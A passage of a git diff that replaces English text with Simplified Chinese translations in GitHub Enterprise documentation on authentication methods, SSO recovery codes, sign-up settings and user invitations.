如果无法接受,SAML SSO 可能是更好的选择。 {% elsif ghes %} -Site administrators can decide how people authenticate to access a {% data variables.product.product_name %} instance. You can use {% data variables.product.product_name %}'s built-in authentication, or, if you want to centralize identity and access management for the web applications that your team uses, you can configure an external authentication method. +站点管理员可以决定用户如何进行身份验证以访问 {% data variables.product.product_name %} 实例。 可以使用 {% data variables.product.product_name %} 的内置身份验证,或者,如果要集中管理你的团队使用的 Web 应用程序的标识和访问权限,则可以配置外部身份验证方法。 -## Authentication methods for {% data variables.product.product_name %} +## {% data variables.product.product_name %} 的身份验证方法 -The following authentication methods are available for {% data variables.product.product_name %}. +{% data variables.product.product_name %} 可使用以下身份验证方法。 -- [Built-in authentication](#built-in-authentication) -- [External authentication](#external-authentication) +- [内置身份验证](#built-in-authentication) +- [外部身份验证](#external-authentication) -### Built-in authentication +### 内置身份验证 -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} To access your instance, people authenticate with the credentials for the account. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)." +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} 若要访问实例,人员需使用帐户的凭据进行身份验证。 有关详细信息,请参阅“[配置内置身份验证](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)”。 -### External authentication +### 外部身份验证 -If you use an external directory or identity provider (IdP) to centralize access to multiple web applications, you may be able to configure external authentication for {% data variables.location.product_location %}. For more information, see the following articles. +如果使用外部目录或标识提供者 (IdP) 集中访问多个 Web 应用程序,可以为 {% data variables.location.product_location %} 配置外部身份验证。 有关详细信息,请参阅以下文章。 -- "[Using CAS for enterprise IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam)" -- "[Using LDAP for enterprise IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)" -- "[Using SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)" +- [将 CAS 用于企业 IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam) +- [将 LDAP 用于企业 IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam) +- [将 SAML 用于企业 IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam) -If you choose to use external authentication, you can also configure fallback authentication for people who don't have an account on your external authentication provider. For example, you may want to grant access to a contractor or machine user. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." +如果选择使用外部身份验证,还可以为没有外部身份验证提供程序帐户的人员配置回退身份验证。 例如,你可能想要向承包商或计算机用户授予访问权限。 有关详细信息,请参阅“[允许对提供者外部的用户使用内置身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)”。 {% ifversion scim-for-ghes %} -If you use SAML SSO for authentication, you can also provision users and map IdP groups to teams using SCIM. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)." +如果使用 SAML SSO 进行身份验证,还可以使用 SCIM 预配用户并将 IdP 组映射到团队。 有关详细信息,请参阅“[使用 SCIM 为企业配置用户预配](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)”。 {% endif %} {% elsif ghae %} -{% data variables.product.product_name %} uses SAML SSO for authentication. Enterprise owners must configure SAML SSO with a SAML identity provider (IdP) during initialization. For more information, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)." +{% data variables.product.product_name %} 使用 SAML SSO 进行身份验证。 企业所有者必须在初始化期间使用 SAML 标识提供者 (IdP) 配置 SAML SSO。 有关详细信息,请参阅“[关于适用于企业 IAM 的 SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)”。 {% endif %} -## Further reading +## 延伸阅读 -- "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts)" -- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" -{%- ifversion ghec %} -- "[Can I create accounts for people in my organization?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)" -- "[Switching your SAML configuration from an organization to an enterprise account](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)" -{%- endif %} +- “[{% data variables.product.company_short %} 帐户的类型](/get-started/learning-about-github/types-of-github-accounts)” +- “[关于企业帐户](/admin/overview/about-enterprise-accounts)”{%- ifversion ghec %} +- “[可以为组织中的人员创建帐户吗?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)” +{% endif %} diff --git a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md index 85b2acf6bd..8cde223bc2 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md @@ -1,6 +1,6 @@ --- -title: Changing authentication methods -intro: 'You can change the way {% data variables.product.prodname_ghe_server %} authenticates with your existing accounts at any time.' +title: 更改身份验证方法 +intro: '您可以随时更改 {% data variables.product.prodname_ghe_server %} 对您现有的帐户进行身份验证的方法。' redirect_from: - /enterprise/admin/user-management/changing-authentication-methods - /enterprise/admin/authentication/changing-authentication-methods @@ -16,27 +16,33 @@ topics: - Enterprise - Identity shortTitle: Change authentication methods +ms.openlocfilehash: 074c4fe8784d3ea7b8ada6b532e680384571facf +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882689' --- -User accounts on {% data variables.location.product_location %} are preserved when you change the authentication method and users will continue to log into the same account as long as their username doesn't change. +更改身份验证方法时,{% data variables.product.product_location %} 上的用户帐户将保留,只要他们的用户名没有发生变化,用户就可以继续登录原来的帐户。 -If the new method of authentication changes usernames, new accounts will be created. As an administrator, you can rename users through the site admin settings or by using [the User Administration API](/rest/reference/enterprise-admin#update-the-username-for-a-user). +如果新的身份验证方法更改了用户名,将创建新帐户。 作为管理员,可以通过站点管理员设置或使用[用户管理 API](/rest/reference/enterprise-admin#update-the-username-for-a-user) 重命名用户。 -Other issues you should take into consideration include: +您应当考虑的其他问题包括: -* **Passwords:** If you switch to using built-in authentication for your instance, users must [set a password](/enterprise/user/articles/how-can-i-reset-my-password/) after the change is completed. +* **密码:** 如果对实例改为使用内置身份验证方法,则用户必须在更改完成后 [设置密码](/enterprise/user/articles/how-can-i-reset-my-password/)。 -* **Site administrators:** Administrative privileges are [controlled by your identity provider when you use SAML](/enterprise/admin/guides/user-management/using-saml/#saml-attributes) and can be [controlled by group membership when you use LDAP](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance). +* **站点管理员:** 管理权限 [在你使用 SAML 时由你的标识提供者控制](/enterprise/admin/guides/user-management/using-saml/#saml-attributes),而 [在你使用 LDAP 时由组成员身份控制](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance)。 -* **Team membership:** Only LDAP lets you [control team membership](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance) from your directory server. +* **团队成员身份:** 只有 LDAP 可让你从目录服务器 [控制团队成员身份](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance)。 -* **User suspension:** When you use LDAP to authenticate, access to {% data variables.product.prodname_ghe_server %} can be controlled via _restricted groups_. After switching to LDAP, if restricted groups are configured, existing users who are not in one of those groups will be suspended. Suspension will occur either when they log in or during the next LDAP Sync. +* **用户挂起:** 当你使用 LDAP 进行身份验证时,可以通过受限制的组控制对 {% data variables.product.prodname_ghe_server %} 的访问权限。 在切换到 LDAP 后,如果配置受限制的组,那么不属于其中任何一个组的现有用户将被挂起。 在用户登录或下一次 LDAP 同步期间将发生挂起。 -* **Group membership:** When you use LDAP to authenticate, users are automatically [suspended and unsuspended](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) based on restricted group membership and account status with Active Directory. +* **组成员身份:** 当你使用 LDAP 进行身份验证时,系统会根据受限制的组成员身份和 Active Directory 中的帐户状态自动 [挂起和取消挂起](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)。 -* **Git authentication:** SAML and CAS only supports Git authentication over HTTP or HTTPS using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Password authentication over HTTP or HTTPS is not supported. LDAP supports password-based Git authentication by default, but we recommend that you [disable that method](/enterprise/admin/authentication/using-ldap#disabling-password-authentication-for-git-operations) and force authentication via a {% data variables.product.pat_generic %} or SSH key. +* **Git 身份验证:** SAML 和 CAS 仅支持通过 HTTP 或 HTTPS 使用 [个人访问令牌](/articles/creating-an-access-token-for-command-line-use)进行的 Git 身份验证。 不支持通过 HTTP 或 HTTPS 进行的密码身份验证。 LDAP 默认支持基于密码的 Git 身份验证,但我们建议你[禁用该方法](/enterprise/admin/authentication/using-ldap#disabling-password-authentication-for-git-operations),并强制通过个人访问令牌或 SSH 密钥进行身份验证。 -* **API authentication:** SAML and CAS only supports API authentication using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Basic authentication is not supported. +* **API 身份验证:** SAML 和 CAS 仅支持使用 [个人访问令牌](/articles/creating-an-access-token-for-command-line-use)进行的 API 身份验证。 不支持基本身份验证。 -* **Two-factor authentication:** {% data reusables.enterprise_user_management.external_auth_disables_2fa %} +* **双因素身份验证:** {% data reusables.enterprise_user_management.external_auth_disables_2fa %} -* **Fallback authentication for users with no account on your external authentication provider:** You can invite users to authenticate to {% data variables.location.product_location %} without adding them to your identity provider. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)." +* **对在外部身份验证提供者中无帐户的用户进行身份验证:** 你可以邀请用户在 {% data variables.product.product_location %} 中进行身份验证,而无需将他们添加到标识提供者中。 有关详细信息,请参阅“[允许对提供者外部的用户使用内置身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)”。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md index f43f417986..7b654e6eb6 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md @@ -1,12 +1,9 @@ --- -title: Managing IAM for your enterprise +title: 管理企业的 IAM intro: | - {%- ifversion ghec %} - You can invite existing personal accounts on {% data variables.location.product_location %} to be members of your enterprise, and you can optionally enable SAML single sign-on (SSO) to centrally manage access. Alternatively, you can use {% data variables.product.prodname_emus %} with SAML SSO to create and control the accounts of your enterprise members. - {%- elsif ghes %} - You can use {% data variables.product.product_name %}'s built-in authentication, or you can centrally manage authentication and access to your instance with CAS, LDAP, or SAML. - {%- elsif ghae %} - You must use SAML single sign-on (SSO) to centrally manage authentication and access to your enterprise on {% data variables.product.product_name %}. Optionally, you can use System for Cross-domain Identity Management (SCIM) to automatically provision accounts and access on {% data variables.product.product_name %} when you make changes on your identity provider (IdP). + {%- ifversion ghec %} 你可以邀请 {% data variables.product.product_location %} 上的现有个人帐户成为企业成员,并且可以选择启用 SAML 单一登录 (SSO) 来集中管理访问权限。 或者,可以将 {% data variables.product.prodname_emus %} 与 SAML SSO 配合使用来创建和控制企业成员的帐户。 + {%- elsif ghes %} 你可以使用 {% data variables.product.product_name %} 的内置身份验证,也可以使用 CAS、LDAP 或 SAML 集中管理对实例的身份验证和访问。 + {%- elsif ghae %} 必须使用 SAML 单一登录 (SSO) 在 {% data variables.product.product_name %} 上集中管理对企业的身份验证和访问。 (可选)当对标识提供者 (IdP) 进行更改时,可以使用跨域身份管理系统 (SCIM) 在 {% data variables.product.product_name %} 上自动预配帐户和访问权限。 {%- endif %} redirect_from: - /enterprise/admin/categories/authentication @@ -32,5 +29,11 @@ children: - /allowing-built-in-authentication-for-users-outside-your-provider - /troubleshooting-identity-and-access-management-for-your-enterprise shortTitle: Manage IAM for your enterprise +ms.openlocfilehash: 0af30fe07928336fd93ba3b17fd1efff0b64e354 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147718003' --- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md b/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md new file mode 100644 index 0000000000..6628a32b5c --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md @@ -0,0 +1,31 @@ +--- +title: 下载企业帐户的 SAML 单一登录恢复代码 +shortTitle: Download recovery codes +intro: To ensure that you can access {% data variables.product.product_name %} if your identity provider (IdP) is unavailable, you should download your enterprise account's SAML single sign-on (SSO) recovery codes. +versions: + ghec: '*' +type: how_to +topics: +- Accounts +- Authentication +- Enterprise +- SSO +permissions: Enterprise owners can download the SAML SSO recovery codes for the enterprise account. +ms.openlocfilehash: cd06d34b2dbf3e0c3b0a96bc3b92b2fb2b78e080 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099047" +--- +如果 IdP 不可用,可以使用恢复代码在 {% data variables.product.product_location %} 上登录和访问企业。 有关详细信息,请参阅“[在标识提供者不可用时访问企业帐户](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable)”。 + +如果在配置 SAML SSO 时未保存恢复代码,你仍可从企业的设置中访问代码。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} + +1. 在“需要 SAML 身份验证”下,单击“保存恢复代码”。 +![实施前测试 SAML 配置的按钮的屏幕截图](/assets/images/help/enterprises/saml-recovery-codes-link.png) + +2. 要保存恢复代码,请单击“下载”、“打印”或“复制” 。 +![下载、打印或复制恢复代码的按钮的屏幕截图](/assets/images/help/saml/saml_recovery_code_options.png) diff --git a/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md b/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md index 48536e3ec9..634477f0db 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md @@ -1,7 +1,7 @@ --- -title: Downloading your enterprise account's single sign-on recovery codes +title: 下载企业帐户的单一登录恢复代码 shortTitle: Download recovery codes -intro: 'To ensure that you can access {% data variables.product.product_name %} if your identity provider (IdP) is unavailable, you should download your enterprise account''s single sign-on (SSO) recovery codes.' +intro: '如果标识提供者 (IdP) 不可用,为了确保你可以访问 {% data variables.product.product_name %},应下载企业帐户的单一登录 (SSO) 恢复代码。' versions: ghec: '*' type: how_to @@ -13,25 +13,27 @@ topics: redirect_from: - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes permissions: Enterprise owners can download the SSO recovery codes for the enterprise account. +ms.openlocfilehash: 82f44654b18a36d2fb29797fe8b6e0426785522b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147063592' --- +如果 IdP 不可用,可以使用恢复代码在 {% data variables.product.product_location %} 上登录和访问企业。 有关详细信息,请参阅“[在标识提供者不可用时访问企业帐户](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable)”。 -In the event that your IdP is unavailable, you can use a recovery code to sign in and access your enterprise on {% data variables.location.product_location %}. For more information, see "[Accessing your enterprise account if your identity provider is unavailable](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable)." - -If you did not save your recovery codes when you configured SSO, you can still access the codes from your enterprise's settings. +如果在配置 SSO 时未保存恢复代码,你仍可从企业的设置中访问代码。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -1. Under{% ifversion oidc-for-emu %} either{% endif %} "Require SAML authentication"{% ifversion oidc-for-emu %} or "Require OIDC authentication"{% endif %}, click **Save your recovery codes**.{% ifversion oidc-for-emu %} - {% note %} +1. 在{% ifversion oidc-for-emu %}{% endif %}“需要 SAML 身份验证”{% ifversion oidc-for-emu %}或“需要 OIDC 身份验证”{% endif %}下,单击“保存恢复代码”。{% ifversion oidc-for-emu %} {% note %} - **Note:** OIDC SSO is only available for {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." + 注意:OIDC SSO 仅适用于 {% data variables.product.prodname_emus %}。 有关详细信息,请参阅“[关于企业托管用户](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)”。 {% endnote %}{% endif %} - ![Screenshot of the button to test SAML configuration before enforcing](/assets/images/help/enterprises/saml-recovery-codes-link.png) -1. To save your recovery codes, click **Download**, **Print**, or **Copy**. - ![Screenshot of the buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png) + ![实施前测试 SAML 配置的按钮的屏幕截图](/assets/images/help/enterprises/saml-recovery-codes-link.png) +1. 要保存恢复代码,请单击“下载”、“打印”或“复制” 。 + ![下载、打印或复制恢复代码的按钮的屏幕截图](/assets/images/help/saml/saml_recovery_code_options.png) diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md index 50f7970f7e..4f8c5c838b 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md @@ -1,6 +1,6 @@ --- -title: Configuring built-in authentication -intro: 'When you use the default authentication method, all authentication details are stored on {% data variables.location.product_location %}.' +title: 配置内置身份验证 +intro: '当你使用默认身份验证方法时,所有身份验证详细信息都将存储在 {% data variables.product.product_location %} 中。' permissions: 'Site administrators can configure authentication for a {% data variables.product.product_name %} instance.' redirect_from: - /enterprise/admin/user-management/using-built-in-authentication @@ -17,41 +17,42 @@ topics: - Enterprise - Identity shortTitle: Configure built-in authentication +ms.openlocfilehash: 6fbcd68efc953b5a32139a6907975e6918976860 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717811' --- +## 关于内置身份验证 -## About built-in authentication +默认情况下,{% data variables.product.product_name %} 使用内置身份验证。 每个人都可以通过邀请或注册在 {% data variables.product.product_location %} 上创建用户帐户,然后使用帐户的凭据进行身份验证以访问你的实例。 你的 {% data variables.product.product_name %} 实例中存储有帐户的身份验证信息。 -By default, {% data variables.product.product_name %} uses built-in authentication. Each person creates a user account on {% data variables.location.product_location %} from an invitation or by signing up, and then authenticates with the credentials for the account to access your instance. Your {% data variables.product.product_name %} instance stores the authentication information for the account. - -You can prevent unauthenticated people from creating new user accounts on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)." +你可以阻止未经身份验证的人员在你的实例上创建新用户帐户。 有关详细信息,请参阅“[禁用未经身份验证的注册](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)”。 {% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} -## Configuring built-in authentication +## 配置内置身份验证 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -4. Select **Built in authentication**. -![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-select.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} +4. 选择“内置身份验证”。 +![选择内置身份验证选项](/assets/images/enterprise/management-console/built-in-auth-select.png) -{% data reusables.enterprise_user_management.two_factor_auth_header %} -{% data reusables.enterprise_user_management.2fa_is_available %} +{% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %} -## Creating your account +## 创建账户 -Once your instance has been created, you'll need to create your own admin account. +在实例创建完成后,您需要创建自己的管理员帐户。 -1. On the "Create Admin Account" page at `http(s)://[hostname]/join`, choose your username, password, and email address, then click **Create an account**. -![Create Admin Account](/assets/images/enterprise/site-admin-settings/create-first-admin-acct.png) -{% data reusables.enterprise_site_admin_settings.sign-in %} +1. 在 `http(s)://[hostname]/join` 中的“创建管理员帐户”页上,选择用户名、密码和电子邮件地址,然后单击“创建帐户”。 +![创建管理员帐户](/assets/images/enterprise/site-admin-settings/create-first-admin-acct.png) {% data reusables.enterprise_site_admin_settings.sign-in %} -## Next steps +## 后续步骤 -After you configure built-in authentication and create your administrative account, you can invite people to create accounts and use your instance. For more information, see "[Inviting people to use your instance](/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance)." +配置内置身份验证并创建管理帐户后,可以邀请用户创建帐户并使用你的实例。 有关详细信息,请参阅“[邀请他人使用你的实例](/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance)”。 -## Further reading +## 延伸阅读 -- "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)" +- “[配置电子邮件通知](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)” diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md index 040dd977c6..4504ff88f3 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md @@ -1,5 +1,5 @@ --- -title: Disabling unauthenticated sign-ups +title: 禁用未经身份验证的注册 redirect_from: - /enterprise/admin/articles/disabling-sign-ups - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups @@ -7,7 +7,7 @@ redirect_from: - /admin/authentication/disabling-unauthenticated-sign-ups - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups -intro: 'If you''re using built-in authentication for {% data variables.location.product_location %}, you can block unauthenticated people from creating new user accounts on your instance.' +intro: '如果对 {% data variables.product.product_location %} 使用内置身份验证,则可阻止未经身份验证的人在你的实例上创建新用户帐户。' permissions: 'Site administrators can disable unauthenticated sign-ups on a {% data variables.product.product_name %} instance.' versions: ghes: '*' @@ -18,19 +18,21 @@ topics: - Enterprise - Identity shortTitle: Block unauthenticated sign-up +ms.openlocfilehash: 063da3aa1e73501d05251e40d7afcb271833afaf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065382' --- +## 关于未经身份验证的注册 -## About unauthenticated sign-ups - -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} 可以禁用未经身份验证的注册,并要求邀请在实例上创建新的用户帐户。 {% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} -## Disabling unauthenticated sign-ups +## 禁用未经身份验证的注册 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -3. Unselect **Enable sign-up**. -![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} +3. 取消选择“启用注册”。 +![启用“注册”复选框](/assets/images/enterprise/management-console/enable-sign-up.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md index 826da0bc57..d8b379f270 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md @@ -1,6 +1,6 @@ --- -title: Inviting people to use your instance -intro: 'When you use built-in authentication for {% data variables.product.product_name %}, you can invite people by email address to create a user account on your instance.' +title: 邀请用户使用实例 +intro: '对 {% data variables.product.product_name %} 使用内置身份验证时,可以通过电子邮件地址邀请人员在实例上创建用户帐户。' versions: ghes: '*' permissions: 'Enterprise owners can invite people to create a user account on a {% data variables.product.product_name %} instance.' @@ -11,20 +11,23 @@ topics: - Enterprise - Identity shortTitle: Invite people +ms.openlocfilehash: d7ccb5e06f297a11ba97fa41d8250821909e5e3d +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717795' --- - -## About invitations for new users +## 关于新用户的邀请 {% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} -You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)." +可以禁用未经身份验证的注册,并要求邀请才能在实例上创建新用户帐户。 有关详细信息,请参阅“[禁用未经身份验证的注册](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)”。 {% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} -## Inviting people to create a user account +## 邀请用户创建用户帐户 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} -{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} -If you've configured email for notifications on {% data variables.location.product_location %}, your instance will send the invitation to the provided email address. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)." +如果已为 {% data variables.product.product_location %} 上的通知配置了电子邮件,则实例会将邀请发送到提供的电子邮件地址。 有关详细信息,请参阅“[配置邮件通知](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)”。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md b/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md index eb31c71027..b01ce2d2f4 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md @@ -1,10 +1,16 @@ --- -title: Using CAS for enterprise IAM +title: 将 CAS 用于企业 IAM shortTitle: CAS for enterprise IAM -intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing CAS identity provider (IdP).' +intro: '可以通过与现有 CAS 标识提供者 (IdP) 集成,来集中管理帐户和对 {% data variables.product.product_location %} 的访问权限。' versions: ghes: '*' children: - /using-cas +ms.openlocfilehash: cc611feeed0f22033ed0c92883b3f95afe41ea92 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 